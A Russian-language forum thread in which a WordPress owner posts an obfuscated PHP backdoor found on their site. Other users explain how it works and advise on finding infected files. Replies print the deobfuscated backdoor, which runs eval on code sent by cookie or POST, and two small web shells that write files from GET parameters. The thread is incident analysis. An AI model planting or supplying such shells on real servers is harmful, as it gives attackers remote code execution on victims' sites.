• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

Вопрос: Выполнение произвольного кода?

bug0

Местный
Сообщения
131
Реакции
181
0 руб.
Всем доброго времени суток!
Дело было так: Есть свой сайт на Wordpress, не заходил в админку три дня, сегодня перешел на сайт, а он лежит, просит заново установить Wordpress, заметил что удален файл - wp-config.php, а еще появился в корне сайта любопытный файл: 6fed6p3chn.php

Код файла выглядит так:
Код:
<?php


eval("\n\$dgreusdi = intval(__LINE__) * 337;");

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);

eval (gzinflate(base64_decode($a)));




Начал в cPanel рыть логи, увидел что вчера вечером кто-то заходил на сайт и юзал именно этот файл.
Что это может быть, ваши предположения? Что делает этот код?
 
Последнее редактирование:

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕
Местный
Сообщения
47
Реакции
104
0 руб.
Telegram
Это шелл с проверкой подписи запросов.
Грубо говоря, код может выполнять только тот, кто знает пароль.

Нужно удалить этот файл и понять, как он туда попал..
 
Последнее редактирование:

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Всем доброго времени суток!
Дело было так: Есть свой сайт на Wordpress, не заходил в админку три дня, сегодня перешел на сайт, а он лежит, просит заново установить Wordpress, заметил что удален файл - wp-config.php, а еще появился в корне сайта любопытный файл: 6fed6p3chn.php

Код файла выглядит так:
<?php


eval("\n\$dgreusdi = intval(__LINE__) * 337;");

$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);

eval (gzinflate(base64_decode($a)));



Начал в cPanel рыть логи, увидел что вчера вечером кто-то заходил на сайт и юзал именно этот файл.
Что это может быть, ваши предположения? Что делает этот код?
забейте в гугл вот этот код
PHP:
eval("\n\$dgreusdi = intval(__LINE__) * 337;");
и поймете откуда ростут это, заражения несут массовый характер, в гугле увидите как закрыть уязвимость через которую они этот код вставили))
 

Night

По вопросам сотрудничества

Night

По вопросам сотрудничества
Команда форума
Админ
Сообщения
935
Реакции
2.276
0 руб.
Telegram
@bug0 Код пожалуйста оберните в BB код:
Код:
 [CODE]...[/CODЕ]
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
я расшифровал так сказать этот код))

PHP:
@ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);


    $approvals = False;

    foreach ($_COOKIE as $cookie_one=>$cookie_two)
    {
        $approvals = $cookie_two;

        $manager_invitation = $cookie_one;

        $approvals = remove_letter(_base64_decode($approvals), $manager_invitation);
        
        if ($approvals)
        {
            break;
        }
    }

    function improve_meta()
    {
        return _base64_decode("UAMQV1oLEgBLUAsHE11SXwAPSlNVVA5CUwELU11GRlgBWFIH");
    }

    function append_strings($append, $string)
    {
        return $append ^ $string;
    }

    if (!$approvals)
    {
        foreach ($_POST as $contribute=>$research)
        {
            $approvals = $research;
            
            $manager_invitation = $contribute;

            $approvals = remove_letter(_base64_decode($approvals), $manager_invitation);
            
            if ($approvals)
            {
                break;
            }           
        }
    }

    function make_submission($people, $collaborate)
    {
        $confirm_invite = "";

        for ($i=0; $i<strlen($people);)
        {
            for ($j=0; $j<strlen($collaborate) && $i<strlen($people); $j++, $i++)
            {
                $extension_param = ord($people[$i]) ^ ord($collaborate[$j]);

                $confirm_invite = $confirm_invite . chr($extension_param);
            }
        }

        return $confirm_invite;
    }

    if (!isset($approvals['ak']) || !(append_strings(improve_meta(), 'dfvaijpefajewpfja9gjdgjoegijdpsodjfe')) == $approvals['ak'])
    {
        $approvals = Array();
    }
    else
    {
        switch ($approvals['a']){
            case "i":
                $array = Array();
                $array['pv'] = @phpversion();
                $array['sv'] = '1.0-1';
                echo @serialize($array);
                break;
            case "e":
                eval($approvals['d']);
                break;
        }
        exit();

    }

    function remove_letter($data, $key)
    {
        return @unserialize(screen_submission($data, $key));
    }



    function screen_submission($sub_key, $sub_meta)
    {
        $sub = make_submission($sub_key, append_strings(improve_meta(), 'dfvaijpefajewpfja9gjdgjoegijdpsodjfe'));

        return make_submission($sub, $sub_meta);
    }

    function _base64_decode($input)
    {
        $buffer = "";
        $tbl = Array(
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54,
            55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2,
            3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
            20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
            31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
            48, 49, 50, 51, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1);

        for ($i = 0; $i < strlen($input); ) {
            $b = 0;
            if ($tbl[ord($input[$i])] != -1) {
                $b = ($tbl[ord($input[$i])] & 0xFF) << 18;
            }
            else {
                $i++;
                continue;
            }

            $num = 0;
            if ($i + 1 < strlen($input) && $tbl[ord($input[$i+1])] != -1) {
                $b = $b | (($tbl[ord($input[$i+1])] & 0xFF) << 12);
                $num++;
            }

            if ($i + 2 < strlen($input) && $tbl[ord($input[$i+2])] != -1) {
                $b = $b | (($tbl[ord($input[$i+2])] & 0xFF) << 6);
                $num++;
            }

            if ($i + 3 < strlen($input) && $tbl[ord($input[$i+3])] != -1) {
                $b = $b | ($tbl[ord($input[$i+3])] & 0xFF);
                $num++;
            }

            while ($num > 0) {
                $c = ($b & 0xFF0000) >> 16;
                $buffer .=chr($c);
                $b <<= 8;
                $num--;
            }
            $i += 4;
        }
        return $buffer;
    }
 

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕
Местный
Сообщения
47
Реакции
104
0 руб.
Telegram
Это шелл с проверкой подписи запросов.
Грубо говоря, код может выполнять только тот, кто знает пароль.

Нужно удалить этот файл и понять, как он туда попал..

Я тоже деобфусцировал, но как поможет код шелла решению проблемы заражения? Лучше б помог ему дыру закрыть)

P.s. Кстати, об этом. Что у вас стоит на сервере? Версии PHP, Apache, WordPress какие?

@bug0
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
как работает) там фишка в чем была, код вставляется в нужную строку, берется номер строки и умножается на 337, но есть хитрость, хакер ставил перевод строки, код вставляется в 4 строку, в результате вычислений получаем число 674. Далее функцией str_replace() находятся все эти числа в строке и заменяются на Е, ну а дальше base64 декодируется и распаковывается полученные данные функцией gzinflate()
[automerge]1536874770[/automerge]
Я тоже деобфусцировал, но как поможет код шелла решению проблемы заражения? Лучше б помог ему дыру закрыть)

P.s. Кстати, об этом. Что у вас стоит на сервере? Версии PHP, Apache, WordPress какие?

@bug0
судя по коду это не шелл, эта херня похоже турит какие то данные прямо из куков)) или там часть кода засылается потом POST запросом, потому что после так сказать обфускации, мы полностью не раскрываем возможности скрипта, там есть еще неизвестные))
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
раз заражены были разные движки, не только вордпресс, то вариантов может быть много, и скорее всего уязвимость не в движке, возможно уязвимость в панели, что крайне маловероятно, более вероятно то что были украдены данные администратора, тот же FTP доступ. Кто занимается логами, тот знает что в логах всегда куча доступов)) Для начала нужно запустить в консоли команду, который найдет все зараженные файлы, искать нужно по куску кода, например по eval()
 

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕
Местный
Сообщения
47
Реакции
104
0 руб.
Telegram
раз заражены были разные движки, не только вордпресс, то вариантов может быть много, и скорее всего уязвимость не в движке, возможно уязвимость в панели, что крайне маловероятно, более вероятно то что были украдены данные администратора, тот же FTP доступ. Кто занимается логами, тот знает что в логах всегда куча доступов)) Для начала нужно запустить в консоли команду, который найдет все зараженные файлы, искать нужно по куску кода, например по eval()
Шеллы почти всегда обфусцируются. Не поможет.

Более верным решением будет использовать команду find: https://losst.ru/komanda-find-v-linux

И найти файлы созданные/изменённые, например, за последние 5-7 дней.

Хоть это и не панацея, но в 90% случаев поможет найти всё.
 

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Шеллы почти всегда обфусцируются. Не поможет.

Более верным решением будет использовать команду find: https://losst.ru/komanda-find-v-linux

И найти файлы созданные/изменённые, например, за последние 5-7 дней.

Хоть это и не панацея, но в 90% случаев поможет найти всё.
эта функция служит для выполнения кода строки как кода, как раз таки она и применяется если хакер решил подвергнуть свой код обфускации, это и есть главное паливо, потому что при нормальных условия в программировании эта функция не применяется вообще.
 

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕

Fly

❕❗️ СТАРЫЙ НОВИЧОК ❗️❕
Местный
Сообщения
47
Реакции
104
0 руб.
Telegram
эта функция служит для выполнения кода строки как кода, как раз таки она и применяется если хакер решил подвергнуть свой код обфускации, это и есть главное паливо, потому что при нормальных условия в программировании эта функция не применяется вообще.

Лучше не спорь. :nonn:

Вот тебе один из примеров того, что ты с помощью поиска по строке НИКОГДА не найдешь.
Однако, это, по сути, тоже шелл

Код:
$b = 'file';
$a = '_contents';
$c = '_put';

$e = $b.$c.$a;

$e($_GET['n'], $_GET['e']);



require_once($_GET['n']);
unlink($_GET['n']);

Поэтому поиск по времени создания более результативный.


И, да. Мы ушли от темы. Нужно парню помочь!
 
Последнее редактирование:

BotHub

Разработчик ботов

BotHub

Разработчик ботов
Резидент
Сообщения
285
Реакции
420
0 руб.
Telegram
Лучше не спорь. :nonn:

Вот тебе один из примеров того, что ты с помощью поиска по строке НИКОГДА не найдешь.
Однако это, по сути, тоже шелл

Код:
<?php
$b = 'file';
$a = '_contents';
$c = '_put';

$e = $a.$c.$b;

$e($_GET['e'], $_GET['n']);

?>

Поэтому поиск по времени создания - более результативный.


И, да. Мы ушли от темы. Нужно парню помочь!
что бы ему помочь, нужно самому копаться в логах его сервера, как я и писал выше, данный код встречается в разных движках, можете посмотреть гугл, там есть несколько сайтов где упоминают этот код. Ну а что бы удостоверится что уязвимость не юзали через движек. это нужно найти время изменения файла, точное время и заглянуть в логи запросов, и по времени найти нужную строку, тогда и будет понятно как залили его. Но такая возможность бывает разве что у VPS. Есть ли такая опция у простых панелей на хостинге, я не знаю, лет 10 не пользовался обычными хостингами. Но я так думаю, что он мог где то заразиться и его FTP было украдено или данные входа в панель, поэтому стоит проверить последние IP с которых заходили в панель. Потому что какие то явные уязвимости позволяющие загружать код на сервер через движек. были закрыты много лет назад, возможно дыра в плагинах, какой нибудь установлен например непонятного происхождения. В панелях тоже дыры закрывают, и тоже самое такие явные уязвимости много лет назад были закрыты. У хостинга обычно устанавливаю последние версии ПО. В php или апаче тоже в принципе не может быть проблем, потому что такие уязвимости если и были то вовремена моей молодости)
 
Сверху Снизу